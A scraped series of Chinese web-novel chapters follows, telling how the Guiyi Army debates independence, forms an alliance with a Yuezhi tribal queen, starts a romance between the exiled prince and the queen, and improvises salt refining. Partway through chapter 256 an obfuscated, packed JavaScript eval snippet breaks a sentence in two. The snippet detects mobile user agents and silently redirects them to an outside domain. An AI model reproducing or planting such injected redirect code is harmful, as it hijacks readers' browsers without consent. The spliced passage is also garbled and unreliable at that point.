“西州回鹘,于阗国,还有散布在天山南北的无数小部落,他们和甘州回鹘、和吐蕃人,同样有着化不开的血海深仇!” “敌人的敌人,就是我们的朋友!” “我们不能再抱着‘非我族类,其心必异’的老黄历不放了!我们必须睁开眼睛看世界!” “我们要联合一切可以联合的力量,团结所有被压迫的民族!” “我们要用我们的诚意,去换取盟友。用我们的智慧,去分化敌人。用我们手中的刀,去争取生存的空间!” “我们要在这里,扎下根来!我们要让汉家的文明,在这片土地上,重新绽放出比中原更加璀璨的光芒!” 陈平川的演讲,充满了激情和煽动力。 他所描绘的那个未来,那个属于汉人自己的、不受欺压的新家园,像一束光,照进了众人心中那片名为“绝望”的黑暗。 一些年轻的士兵,眼神中开始冒出火花。 是啊,与其回去给窃国大盗当狗,为什么不在这里,为自己拼出一个未来? 然而,这个构想,对于那些深受传统忠君思想影响的老将和“归乡派”来说,却无异于洪水猛兽。 “一派胡言!” 张武猛地站起,指着陈平川,气得浑身发抖。 “我归义军上下,生是大业的兵,死是大业的鬼!岂能行此大逆不道之事!” “你这是要我们,背叛祖宗,分裂国家!” 张武拔出腰间的佩刀,刀尖直指陈平川,双目赤红。 “我张武,便是战死在这沙场之上,也绝不与尔等叛贼为伍!” “没错!我等誓死效忠大业!” “与异族结盟,更是对祖宗的背叛!非我族类,其心必异,这个道理你难道不懂吗!” “归乡派”的年轻将领们,纷纷站起身,与张武站在一起,怒视着陈平川。 在他们看来,陈平川的“立国论”,是对他们坚守百年之信念的亵渎。 另一边,一些被陈平川描绘的蓝图所打动的年轻军官,也下意识地握住了刀柄,与他们对峙。 宴会现场,瞬间剑拔弩张。 一场内讧,似乎一触即发。 “都把刀给我收起来!” 张烈发出一声雷霆般的怒吼,他一脚踹翻了身前的桌子,酒肉饭菜洒了一地。 他那双虎目,如同要喷出火来,扫过在场的每一个人。 “谁敢在这里动手,休怪我张烈的刀不认人!” 张烈的威望,无人能及。 两边的将领虽然依旧怒目而视,但还是缓缓地收回了兵器。 张烈的心中,此刻也是一片惊涛骇浪。 他不得不承认,陈平川的“立国论”,对他有着致命的吸引力。 与其为一个已经烂到根里的朝廷陪葬,不如在这片土地上,为汉家的子孙后代,杀出一片朗朗乾坤! 这个想法,就像一头沉睡的猛兽,在他的心中苏醒。 可是,祖宗的遗训,百年的传统,还有眼前这些情同手足的弟兄…… 他怕。 他怕归义军,会因为这个理念,彻底分崩离析。 就在这最关键的时刻,一直沉默的秦王祝衡,再次站了出来。 他走到场中,看着那些怒视陈平川的“归乡派”将领,脸上露出一丝悲哀的苦笑。 “效忠大业?” “你们可知,在我逃出京城之时,沿途所见,是何等景象?” 他的声音,充满了沧桑和疲惫。 “易子而食,饿殍遍野!而那些所谓的朝廷命官,却依旧在搜刮民脂民膏,花天酒地!” “你们可知,当梁家篡权的消息传出,京城内外,万马齐喑!那些饱读圣贤书的文人士子,那些世受国恩的勋贵武将,有几人站出来为死去的皇帝说一句话?” “没有!一个都没有!” “他们跪得比谁都快!山呼万岁的声音,比谁都响亮!” 本小章还未完,请点击下一页继续阅读后面精彩内容!祝衡的眼中,流下了两行清泪。 “大业……已经烂了!从上到下,从里到外,都烂透了!” “那个家,已经不是我们的家了!” “你们告诉我,这样的一个‘大业’,还值得我们为它流尽最后一滴血吗?” 他转向陈平川,郑重地拱了拱手:“陈平川说的对!与其为一个虚名,一个已经死了的朝廷卖命,不如为我们自己,为所有在西域挣扎求存的汉家同胞,杀出一条活路!” “我,祝衡,以大业皇室子孙的名义,支持陈平川!” “从今日起,世上再无大业秦王祝衡,只有一个愿为西域汉人开创万世基业的,汉人祝衡!” 秦王的话,掷地有声。 他以皇室子孙的身份,亲手否定了那个腐朽的朝廷,这比陈平川说一万句都管用。 一些原本还在犹豫的老将,眼神开始动摇。 连正统的王爷都这么说了,他们还有什么好坚持的? 张武等人,则是面如死灰,彻底说不出话来了。 他们可以骂陈平川是奸细,是叛贼。 但他们能骂先帝的亲哥哥是叛贼吗? 这场庆功宴,最终在压抑的气氛中,不欢而散。 将领们三三两两地离去,泾渭分明地分成了几个阵营。 有的人,依旧固执地坚守着“归乡”的执念。 有的人,则被“立国”的理想点燃了心中的火焰。 更多的人,则是在两者之间,迷茫,摇摆。 归义军的内部,因为陈平川的“立国论”,第一次产生了巨大的思想碰撞与分裂。 陈平川看着他们离去的背影,神色平静。 他知道,理念的转变,比任何一场战争都要艰难。 但他并不着急。 因为他已经在这片绝望的土地上,播下了第一颗名为“独立”与“自强”的种子。 这颗种子,迟早会生根发芽,长成一棵无人可以撼动的参天大树。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第253章 说谁蛮夷?女王当场教你做人! 庆功宴后的几天,敦煌城内的气氛变得有些古怪。 将领们见面,不再像以前那样勾肩搭背,笑骂豪饮。 他们眼神闪烁,言语谨慎,似乎都在揣摩对方的心思。 “立国”还是“归乡”,这两个截然不同的选择,像一道无形的墙,将昔日情同手足的袍泽,悄然隔开。 张烈把自己关在府里,一连三天,谁也不见。 他需要时间,来消化这一切,来做出那个足以决定归义军未来的艰难抉择。 另一边,归义军的崛起,开始影响周边局势。 一些受到欺压,被迫臣服于甘州回鹘、吐蕃的小部落,看到了新的希望。 这天,一名负责警戒的斥候,飞马闯入敦煌城,带来了最新的情报。 “报!” 斥候在陈平川的院门前翻身下马,单膝跪地。 “城外三十里,发现一支不明身份的队伍,约有百人,正向敦煌而来!” “他们打着一面……白色的,画着羚羊的旗帜!” 陈平川正在和祝衡整理田亩资料,闻言,放下了手中的毛笔。 白色羚羊旗? 他走到墙边挂着的西域势力分布图前,仔细地寻找着。 祝衡也凑了过来。 “白羚部。”祝衡指着地图上,敦煌西南方,靠近昆仑山脉的一片区域,轻声说道,“是月氏人的后裔。传说他们的祖先,曾是这片土地的主人,后来被匈奴所败,一路西迁。留在河西走廊的这一支,饱受吐蕃人的欺压,处境艰难。” 陈平川点了点头。 真是想什么来什么。 他正愁如何打开联合异族的局面,这不就送上门来了吗? “他们是来做什么的?”祝衡有些好奇。 “还能做什么?”陈平川笑了,“来寻求结盟的。” “我们刚刚大败甘州回鹘,声威大振。对于这些被强敌压得喘不过气的弱小部落来说,我们,就是他们眼中最理想的盟友。” “那……我们要见他们吗?” “当然要见!”陈平川的眼中闪烁着光芒,“这可是我们推行新策略的第一个机会,必须抓住!” 他立刻派人去请张烈。 很快,张烈便带着几名心腹将领,步履匆匆地赶了过来。 他显然也得到了消息,脸上带着一丝凝重和犹豫。 “军师,你的意思呢?”张烈开门见山地问道。 “见。”陈平川只说了一个字。 “可是……”张武跟在张烈身后,忍不住插嘴道,“非我族类,其心必异!谁知道他们安的什么心?万一是吐蕃人派来的奸细呢?” 陈平川瞥了他一眼,淡淡地说道:“是骡子是马,拉出来遛遛不就知道了?连见都不敢见,我们还谈何在西域立足?” 张烈沉吟片刻,最终一咬牙。 “好!我倒要看看,这白羚部,葫芦里卖的什么药!” …… 半个时辰后,敦煌城的议事厅内。 张烈高坐主位,陈平川和祝衡坐在他的左手边,归义军的一众将领,分列两侧。 气氛,庄严肃穆。 很快,一名亲兵高声唱报道:“白羚部使者到!” 众人齐刷刷地将目光投向门口。 他们都以为,来者会是一个须发虬结、满身羊膻味的部落酋长。 然而,当来人走进大厅时,所有人都愣住了。 那不是一个男人。 而是一个女人。 一个身披白色狼皮斗篷,身形高挑,面容姣好的女人。 她看起来约莫三十多岁的年纪,皮肤是健康的小麦色,五官立体而深邃,带着一丝异域风情。 最引人注目的,是她的那双眼睛。 明亮,清澈,却又带着一股不屈的英气和野性,仿佛雪山之巅的猎鹰。 她就这么平静地走进来,面对着满屋子杀气腾腾的归义军将领,脸上没有丝毫的畏惧和胆怯。 在她身后,跟着两名同样剽悍的女护卫。 整个大厅,鸦雀无声。 所有人都被这个女人的气场所震慑。 女人走到大厅中央,摘下斗篷的风帽,露出一头乌黑亮丽的长发,她用一种略带生硬,但却清晰可辨的汉话,朗声说道: “白羚部之主,阿丽娜,见过张将军。” 她没有行跪拜礼,只是微微欠身,不卑不亢。 祝衡的目光,从她进门的那一刻起,就再也没有移开过。 他见过无数美人。 京城里,有环肥燕瘦,有小家碧玉,有千娇百媚。 可他从未见过像眼前这个女人这般,如同雪山上的雪莲,戈壁滩上的胡杨,充满了顽强而原始的生命力的女人。 她的美丽,带着一种锋利感,让人不敢直视,却又忍不住被深深吸引。 张烈也被对方的身份和气度惊了一下,他定了定神,沉声问道:“你就是白羚部的女王?” “是。”阿丽娜点头。 “你来我敦煌,有何贵干?” 阿丽娜抬起头,迎着张烈的目光,没有丝毫的闪躲。 她的声音,清脆而坚定。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我来,是想和归义军结盟。” “共抗强敌,共谋生路!” 张武第一个冷笑出声。 “结盟?” “真是天大的笑话!我归义军刚刚大败回鹘,兵锋正盛,为何要与你们这小小的部落结盟?” “我们能得到什么好处?” 他的话,充满了轻蔑和不屑,也代表了在场大部分“归乡派”将领的想法。 阿丽娜闻言,并没有生气,只是将清冷的目光转向了他。 “好处?” 她淡淡地说道:“唇亡,则齿寒。这是你们汉人的道理,将军应该比我更懂。” “你!”张武被噎了一下,脸色涨得通红。 阿丽娜不再理他,而是将目光重新投向主座上的张烈。 “张将军,我白羚部虽小,但族中亦有控弦之士上千。我们熟悉南山(昆仑山)的每一条沟壑,了解吐蕃每一个部落的习性。” “而你们,需要一个稳固的后方,来全力应对东边的甘州回鹘。” “我们两家联合,北可以御回鹘,南可以抗吐蕃。在这西域之地,才能真正地站稳脚跟。” 她的话,不卑不亢,条理清晰。 她不是在乞求,而是在阐述一个合作共赢的局面。 陈平川的眼中,闪过一丝赞许。 这个女人,不简单。 有胆识,更有智慧。 “说得好听!”张武再次跳了出来,“谁知道你们是不是吐蕃人派来的奸细,想骗取我们的信任,再从背后捅我们一刀!” “我们汉人,绝不与蛮夷为伍!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第254章 你的笛声里,有一个回不去的故乡 “张武!”张烈低喝一声,制止了他。 他虽然也有同样的疑虑,但对方毕竟是客,如此咄咄逼人,有失风度。 阿丽娜看着张武,忽然笑了。 她的笑容,像雪山融化,带着一丝冷冽,却又分外动人。 “这位将军,你口口声声说我们是蛮夷。” “可你是否知道,百年前,当你们汉人的军队被吐蕃人击溃,仓皇东撤之时,是谁,收留了你们数万流离失所的军民?” “是我们月氏人的祖先。” “你又是否知道,当你们的先祖,张议将军揭竿而起,反抗吐蕃暴政之时,是谁,第一个响应,与你们并肩作战?” “也是我们月氏人的祖先。” “我们用鲜血和生命,帮助你们光复了河西十一州。可最后,我们得到了什么?” 阿丽娜的笑意渐渐敛去,声音变得冰冷。 “得到的是你们中原朝廷的猜忌和排挤,得到的是你们汉人官僚的打压和吞并。” “我们被赶到了这贫瘠的南山脚下,苟延残喘。” “现在,你却反过来,骂我们是蛮夷?” 她的一字一句,都像鞭子一样,抽在张武和所有归义军将领的脸上。 大厅内,一片死寂。 许多老将,都羞愧地低下了头。 因为阿丽娜说的,是事实。 是归义军和他们背后的那个大业朝廷,亏欠了月氏人。 祝衡更是听得面红耳赤,如坐针毡。 作为大业的王爷,他感到一种无地自容的羞愧。 他看着那个站在大厅中央,孤身一人,却用言语将满堂将领驳斥得哑口无言的女人,心中涌起一股难以言喻的情绪。 那是一种混杂了敬佩、愧疚、欣赏的复杂情感。 他看到的不只是一个部落的女王,他看到了一个被辜负的盟友,一个为自己族人的生存而苦苦支撑的脊梁。 他被她那股不屈不挠的坚韧,被她对自己族人那种纯粹的守护之情,深深地打动了。 陈平川看准时机,站了出来,打破了这尴尬的沉默。 “女王陛下,说得很好。” 他微笑着,向阿丽娜微微颔首。 “过去的恩怨,我们无法改变。但我们可以共同创造一个崭新的未来。” “一个汉人、月氏人,以及所有不愿被奴役的西域民族,都可以和平共存,有尊严地活下去的未来。” “这,也是我们归义军如今的目标。” 他的话,让阿丽娜眼中闪过一丝讶异。 她没想到,在这些看起来顽固不讲理的汉人将领中,竟然还有如此有见识的人。 她将目光投向陈平川,认真地打量着他。 “你,又是谁?” 张烈咳嗽了一声,介绍道:“这位,是我的军师,陈平川先生。” 阿丽娜点了点头,又看了一眼陈平川身旁的祝衡。 这个男人,从她进门开始,就一直用一种奇怪的眼神看着她。 他虽然衣着朴素,但身上那股沉静而高贵的气质,在这群杀气腾腾的武人中间,显得格格不入。 “那这位先生是?”阿丽娜好奇地问道。 张烈犹豫了一下。 陈平川却抢先开口,微笑道:“这位是祝先生,我的……叔叔。” 他暂时还不想暴露祝衡的身份。 阿丽娜若有所思地看了祝衡一眼,没有再追问。 这场谈判,最终还是没有当场定下。 张烈以事关重大,需要从长计议为由,暂时将此事搁置。 他安排阿丽娜一行人,在城中驿馆住下。 但所有人都看得出来,张烈,已经心动了。 陈平川和阿丽娜的一番话,已经彻底扭转了局势。 当天晚上,祝衡辗转难眠,他的脑海里,反反复复,都是阿丽娜那双明亮而倔强的眼睛。 无奈,他离开住所,走上城头,从怀里取出羌笛,对着明月,吹奏起来。 …… 阿丽娜没有住进城里的驿馆。 她不习惯汉人城池里的拘谨,更喜欢这片可以自由呼吸的开阔天地。 她坐在营帐里,擦拭着心爱的弯刀,雪亮的刀锋,映着她美丽的脸庞,也映着她眼中的忧思。 今天在议事厅的交锋,虽然看似占了上风,但她知道,事情远没有那么简单。 归义军内部,矛盾重重。 那个叫张武的将领,代表的是一股强大而顽固的排外势力。 想让他们真心接纳自己这个“蛮夷”盟友,难如登天。 就在她思绪万千之时,一阵悠扬的笛声,伴随着夜风,从不远处的敦煌城头,悠悠传来。 那笛声,如泣如诉。 充满了无尽的乡愁和失落,仿佛一个远离故土的游子,在对月长叹。 但那悲凉的旋律深处,却又隐藏着一丝不屈的傲骨,一缕宁折不弯的坚韧。 阿丽娜听得痴了。 她从小在马背上长大,听惯了雄浑的号角和粗犷的牧歌。 却从未听过如此细腻、如此动人心魄的音乐。 她感觉自己的心,都被那笛声给揪住了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!鬼使神差地,她站起身,循着笛声的方向,向城墙走去。 …… 祝衡吹奏的,是当年在京城,他最喜欢的一首曲子。 只是,如今物是人非,再吹此曲,心境已然大不相同。 一曲终了,他放下羌笛,怅然若失地看着天边那轮残月,心中百感交集。 “你的笛声里,有故事。” 一个清脆的女声,在身后响起。 祝衡心中一惊,猛地回头。 只见阿丽娜不知何时,已经悄无声息地站在了他的身后。 月光下,她身姿挺拔,宛如一尊美丽的雕像。 “你……”祝衡有些局促地站了起来,不知该说什么。 阿丽娜走到他身边,也在城墙的边缘坐下,晃动着两条穿着皮靴的长腿。 “我能听出来,你的笛声里,有一个回不去的故乡。”她看着远方的星空,轻声说道。 祝衡沉默了。 他没想到,这个异族女子,竟然能听出他心中的悲伤。 “你呢?”他反问道,“你的家乡,又在哪里?” 阿丽娜的眼神,变得有些悠远。 “我的家乡,在很远很远的地方。那里有草原,有雪山,有成群的牛羊……可惜,都被人抢走了。” 她的声音很平静,没有抱怨,也没有愤怒,只有一种历经沧桑后的淡然。 “我们白羚部,已经在这片戈壁上,流浪了上百年。” 两个人,一个是大业朝的落魄王爷,一个是月氏族的流亡女王。 两个同样失去了故乡的人,在这异域的城头,找到了某种奇妙的共鸣。 他们开始交谈。 他给她讲中原的亭台楼阁,讲江南的烟雨朦胧,讲那些他再也回不去的繁华盛景。 她给他讲西域的辽阔壮美,讲雪山上的雄鹰,讲戈壁滩上的故事,讲她的人民如何为了生存而抗争。 这是一场卸下了所有身份和伪装的对话。 没有王爷,没有女王,只有两个孤独的灵魂,在相互取暖。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第255章 五千对五万,张武,你拿头打? 夜,渐渐深了。 阿丽娜站起身,对祝衡说道:“谢谢你的笛声,也谢谢你的故事。” “明天,我再来听你吹笛。” 说完,她转身,轻盈地跳下城楼,消失在夜色之中。 祝衡看着她离去的背影,手握着羌笛,久久没有动弹。 从那天起,阿丽娜真的每天都会来找祝衡。 有时,她会大大方方地走进城,借口买些生活用品,然后送给正在帮忙整理文书的祝衡。 有时,她会派手下的护卫,送来一些她们部落特有的肉干和奶酒。 她的举动,直接而热烈,毫不掩饰她对祝衡的好感和兴趣。 这让祝衡感到受宠若惊的同时,也越发地纠结和痛苦。 他是什么身份? 一个被追杀的逃犯,一个寄人篱下的l流浪者。 他能给阿丽娜什么? 他连自己的命运都无法掌握,又如何能去回应这样一份炙热而纯粹的感情? 这天,阿丽娜又派人送来了一条制作精美的毛毯,上面用彩色的丝线,绣着一只展翅飞翔的白色羚羊。 祝衡拿着它,摩挲着上面精致的绣纹,心中五味杂陈。 他承认,自从二十年前妻子去世,他就再也没有遇到让他心动的女人。 而阿丽娜是唯一一个。 他知道,自己已经无可救药地,被那个英姿飒爽的月氏女王,给深深吸引了。 可理智,却在疯狂地告诉他,他们之间,不可能! 但让他就此放弃阿丽娜,他又舍不得。 祝衡内心烦躁,在房中踱步良久,拿不定主意。 最终还是下定决心,去找了那个少年老成,鬼主意最多的陈平川。 陈平川正在书房里帮张烈整理军报,见祝衡一脸“天要塌了”的表情走进来,头也不抬地问道:“王爷,你这是……?” 祝衡将毛毯往桌上一放,叹口气道:“平川,这是阿丽娜派人送来的……” 陈平川放下笔,拿起毛毯抖了抖,啧啧称赞:“哟,白羚部的毛毯手工真不错。” 他笑起来:“该不会,阿丽娜女王瞧上你了吧?” 一句话,就戳中了祝衡的心事。他颓然坐下,长叹一声,将自己的顾虑和盘托出。 陈平川听完,嗤笑一声:“我还以为什么大事呢。王爷,阿丽娜女王看上的是祝衡这个人,又不是那个虚无缥缈的王爷头衔。人家姑娘家都不在乎,您一个大男人反倒扭扭捏捏,自己折磨自己,纯属吃饱了撑的。” 他站起身,走到祝衡面前,语重心长道:“喜欢就在一起,爱了就去争取。管他什么汉人胡人,管他什么王爷流民。日子是过给自己的,不是过给别人看的。你现在瞻前顾后,畏首畏尾,最后把人家姑娘的一片真心给凉了,那才叫不负责任!” 祝衡被他这一番“离经叛道”的话给说懵了,但细细想来,却又觉得字字珠玑,仿佛一道光,劈开了他心中的迷雾。 他喃喃道:“你说的……似乎有些道理。可……我总觉得,此事还需从长计议。” “那是自然。”陈平川坐回椅子上,一副“孺子可教”的表情,“这谈情说爱嘛,就跟小火慢炖一样,得有耐心。你可千万别脑子一热,来个闪婚。” 祝衡一脸茫然地看着他:“闪……闪婚?是何意?” “咳咳,就是别太快定终身。”陈平川岔开话头。 看着祝衡魂不守舍地离开,陈平川心里跟明镜似的。 他这位王爷叔叔,怕是动了凡心了。 这事儿他乐见其成。 祝衡要是真能和阿丽娜走到一起,那白羚部和归义军的联盟,可就不是一纸盟约那么简单了,那是血脉相连的纽带,牢不可破。 不过这事儿急不来,得让祝衡自己想明白。 眼下,更重要的,是说服张烈。 第二天一早,陈平川还没出门,张烈就派人来请了。 议事厅里,气氛比昨天还要凝重。 归义军的核心将领们,一个个板着脸,分成了泾渭分明的两派。 以张武为首的归乡派,眼神里满是警惕和排斥。 而另一派,则多是一些年轻的将领,他们看向陈平川的眼神里,带着几分好奇和期待。 张烈坐在主位上,眼窝深陷,布满血丝,显然是一夜没睡好。 “军师,”他一开口,声音有些沙哑,“关于白羚部结盟一事,大家再议议吧。” 话音刚落,张武就站了出来,瓮声瓮气地说道:“将军,没什么好议的!非我族类,其心必异!这道理老祖宗就说过了,还能有错?” “阿丽娜那个女人,伶牙俐齿,昨天把咱们都给绕进去了。可仔细想想,她说的话,能信几分?” “她说她们月氏人帮过咱们祖先,谁知道是不是真的?就算是真的,那也是百年前的陈芝麻烂谷子了!” “现在,我们归义军兵强马壮,刚打了胜仗,凭什么要带上她们这么个拖油瓶?” 张武的话,说得又急又快,代表了不少老将的心声。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他们骨子里,就瞧不上这些所谓的“蛮夷”,觉得跟他们合作,是自降身份。 陈平川没有急着反驳,而是等他说完,才慢悠悠地站了起来。 他先是对着张烈拱了拱手,然后才看向张武,脸上带着一丝若有若无的笑意。 “张武将军,你说的话,听起来很有道理。” 张武一愣,没想到陈平川会先捧他一句。 “可是,”陈平川话锋一转,“我想问将军几个问题。” “第一,我们归义军,现在有多少人马?” 张武想也不想,傲然道:“控弦之士,不下五千!个个都是能征善战的好汉!” 陈平川点了点头:“不错,五千人马,听起来是不少。可这五千人,能光复河西十一州吗?能打回中原去吗?” 张武的脸一下子涨红了:“这……我们……” “不能。”陈平川替他说了出来,语气平淡,却像一记重锤,敲在每个人的心上。 “别说光复河西,打回中原了。就是我们眼前的敌人,甘州回鹘,有多少人马?张将军,你说说。” 张烈沉声道:“甘州回鹘,兵力常年在一万以上,若是倾巢而出,可达五万。” 五万! 这个数字,让议事厅里响起一片倒吸凉气的声音。 他们之前打赢的,不过是回鹘的一支两千人的先头部队而已。 “五千对五万。”陈平川伸出五根手指,翻了又翻,“诸位将军,你们觉得,胜算几何?” 大厅里,鸦雀无声。 之前还气势汹汹的张武,也低下了头,不说话了。 “这还只是一个甘州回鹘。”陈平川的声音在安静的大厅里回荡,“我们的南边,是吐蕃,西边,是西州回鹘,更远处,还有于阗,有黑汗王朝……这些势力,哪一个比我们弱?” “我们就像是惊涛骇浪里的一叶扁舟,四面八方都是敌人。不想着找几根木头绑在一起,抱团取暖,反而要把主动送上门来的盟友推开?” “张武将军,你告诉我,这是什么道理?” 陈平川的目光,像锥子一样,直视着张武。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第256章 都注意,军师要开始点新科技树了! 张武被他看得浑身不自在,嘴唇动了动,却一个字也说不出来。 陈平川的这番话,太现实了,现实到残酷。 他们一直沉浸在大败回鹘的喜悦中,却选择性地忘记了自己真正的处境。 现在,这层窗户纸被陈平川毫不留情地捅破了。 “军师说的,有道理。”一个年轻将领站出来,附和道,“我们确实不能再固步自封了。白羚部虽然人少,但她们熟悉南山地形,了解吐蕃,对我们来说,是一个极大的助力。” “没错!多一个朋友,总比多一个敌人好!” 支持结盟的声音,开始多了起来。 张武急了,大声道:“可她们毕竟是蛮夷!万一她们是吐蕃的奸细,在我们背后捅刀子怎么办?这个风险谁来承担?” “风险?”陈平川笑了,“张将军,我们归义军从张议将军举旗的那天起,哪一天不是在冒着风险?” “活着,本身就是最大的风险!” “至于她们是不是奸细,很简单。盟约可以写明,双方互派质子。让阿丽娜把她的亲人子侄送到敦煌来,我们也可以派人去她们部落。如此一来,谁还敢有异心?” “再者,我们与她们结盟,可以先从小处合作。比如,情报共享,物资互换。等有了信任基础,再谈并肩作战也不迟。” “我们完全可以把主动权掌握在自己手里,一步步来,何惧之有?” 陈平川的话,有理有据,将所有的疑虑都考虑了进去,并且给出了切实可行的解决方案。 就连张武,也找不到反驳的理由了。 所有人的目光,都集中到了主座的张烈身上。 现在,就等他这个将军,来做最后的决定了。 张烈的手指,在桌案上轻轻敲击着,一下,又一下。 他的内心,正在进行着天人交战。 理智告诉他,陈平川是对的。 归义军想要在西域这片四战之地生存下去,甚至发展壮大,就必须抛弃那可笑的“天朝上国”的优越感,团结一切可以团结的力量。 可他骨子里,流淌的毕竟是汉人的血。 让他去和曾经的“蛮夷”称兄道弟,他心里那道坎,过不去。 更何况,他还要考虑军心。 张武代表的,是军中一股不小的势力,都是跟着他出生入死多年的老兄弟。如果强行结盟,会不会引起内部**? 时间,一分一秒地过去。 大厅里的空气,仿佛都凝固了。 陈平川静静地站着,他知道,自己该说的都已经说了。 剩下的,只能靠张烈自己了。 这是一个领导者,必须做出的决断。 这个决断,将决定归义军的未来,是走向开放与新生,还是走向封闭与灭亡。 终于,张烈敲击桌面的手指,停了下来。 他缓缓抬起头,目光扫过在场的每一个人。 他的眼神,不再犹豫,不再纠结,只剩下一种破釜沉舟的决然。 他猛地一拍桌子,站了起来。 “砰!” 一声巨响,震得所有人心头一跳。 “我决定了!”张烈的声音,洪亮如钟,响彻整个议事厅。 “与白羚部,结盟!” “从今天起,白羚部,就是我归义军的兄弟!谁敢对盟友不敬,就是与我张烈为敌,与我归义军为敌!” “军法处置,绝不姑息!” 说完,他死死地盯着张武。 “张武,你可听明白了吗?” 张武的脸色,一阵青一阵白,身体微微颤抖。 他看着张烈那不容置疑的眼神,最终,还是颓然地低下了头,抱拳道。 “末将……遵命!” 随着他的服从,他身后的那些将领,也纷纷抱拳。 “我等,遵命!” 一场足以导致归义军**的危机,在张烈强硬的姿态下,被强行压了下去。 陈平川长长地舒了一口气。 他知道,从这一刻起,归义军,将迎来一个全新的时代。 …… 张烈是个雷厉风行的人。 一旦做出了决定,便不再有丝毫的拖泥带水。 当天下午,他便亲自带着陈平川和一众核心将领,前往阿丽娜下榻的驿馆,正式递交了盟书。 盟书的内容,是陈平川连夜草拟的。 条款清晰,权责分明,充分照顾了双方的利益和尊严。 比如,双方地位平等,互不统属。 归义军承认白羚部对南山地区的传统管辖权,并有义务帮助白羚部抵御外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131779|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌。 作为回报,白羚部将成为归义军在南方的屏障,共享所有关于吐蕃的情报,并承诺在归义军需要时,出兵一千,协同作战。 为了表示诚意,双方互换质子。 阿丽娜将她最疼爱的亲弟弟,年仅十五岁的阿古拉,送到了敦煌。 而张烈,则将自己的次子,同样是十五岁的**,送去了白羚部的营地。 当阿丽娜看到这份盟书时,她那双明亮的眼睛里,充满了惊讶和不敢置信。 她原本以为,这次结盟,必然会伴随着各种苛刻的附加条件,甚至要她做出臣服的姿态。 可没想到,归义军给出的,竟然是一份如此平等,甚至可以说是优待的盟约。 “张将军,陈军师……”阿丽娜捧着盟书,声音都有些颤抖,“你们……当真如此信我白羚部?” 张烈看了一眼身旁的陈平川,哈哈一笑,学着陈平川的口气说道:“女王陛下,我们现在是一条船上的人。船要是翻了,谁也活不了。” 一句话,让阿丽娜彻底放下了心。 她郑重地在盟书上,用刀尖划破指尖,按下了自己的血印。 联盟,就此达成。 消息传开,整个敦煌城都沸腾了。 一些小部落的使者,原本还在观望,看到归义军和白羚部真的结了盟,而且条件如此优厚,立刻蜂拥而至,争先恐后地要求加入。 短短半个月内,以归义军为核心,一个囊括了月氏、羌、粟特等十几个大小部落的军事同盟,雏形初现。 归义军的声望,在西域达到了前所未有的高度。 然而,陈平川却比任何人都清醒。 这种靠声望建立起来的联盟,并不稳固。 一旦归义军露出颓势,或者无法给盟友带来实际的好处,这个联盟会瞬间土崩瓦解。 想要让大家死心塌地地跟着你干,就必须拿出实实在在的利益。 于是这一天,陈平川把张烈和祝衡请到了自己的院子里。 院子中央,架着一口大锅,锅里是浑浊不堪的盐水。 旁边,还堆放着一些木炭、石灰石和几个陶罐。 “军师,你这是……?”张烈看着这奇怪的阵仗,一头雾水。 祝衡也好奇地打量着。 第257章 此物一出,西域要变天了! 陈平川笑了笑,从一个布袋里,抓出一把颜色暗黄,混杂着沙土的粗盐,扔进锅里。 “张将军,王爷,你们看,这是我们从盐泽里刮来的粗盐。” “这种盐,苦涩难咽,还混着沙土,百姓吃了容易生病。在市场上,一斗也卖不了几个钱。” 张烈点了点头,这确实是事实。 西域不缺盐,但缺好盐。 那些来自中原的,雪白细腻的青盐,价格堪比黄金,只有贵族才用得起。 “今天,我就让它,变成金子。” 陈平川说着,开始动手操作起来。 他先是将盐水煮沸,用纱布过滤掉里面的泥沙杂质。 然后,他又往锅里,按照一定的比例,加入了碾碎的石灰石和木炭粉。 “这是在做什么?”祝衡不解地问道。 “这叫吸附法。”陈平川一边搅动着锅里的水,一边解释道,“粗盐之所以苦涩,是因为里面含有很多杂质。木炭和石灰石,可以把这些苦涩的杂质,吸附掉。” 这些简单的化学知识,对于一个现代大学生来说,是常识。 但对于张烈和祝衡来说,却不亚于神仙法术。 他们瞪大了眼睛,看着陈平川像变戏法一样,将那些浑浊的盐水,一步步变得清澈。 最后,陈平川将处理过的盐水,倒在几个干净的陶盘里,放在烈日下暴晒。 几个时辰后,陶盘里的水分蒸发干净,留下的,是一层雪白细腻的结晶。 陈平川用小刀,轻轻刮下一些,放在手心,递给张烈。 “张将军,尝尝。” 张烈将信将疑地拈起一撮,放进嘴里。 下一秒,他的眼睛猛地瞪圆了! “咸!纯粹的咸味!没有一丝苦涩!”他惊呼起来,“这……这简直比中原运来的青盐还要好!” 祝衡也尝了一点,同样是满脸的震惊。 “平川,你……你是怎么做到的?” “一点小戏法而已。”陈平川云淡风轻地说道。 他看着两人震惊的表情,心里暗笑。 这就是知识的力量啊。 “军师!”张烈激动地抓住陈平川的胳膊,手都在抖,“有了这法子,我们归义军……我们归义军就发了啊!” 他太清楚这雪花盐的价值了。 这玩意儿要是拿出去卖,绝对能换来堆积如山的金银、粮食和兵器! “这只是第一步。”陈平川说道,“我把它叫做‘雪花盐’。以后,这雪花盐,还有我提炼的烈酒,将是我们归义军独有的拳头产品。” “我们可以用它们,来跟西域各族,甚至跟中原的商人,交换我们想要的一切。” 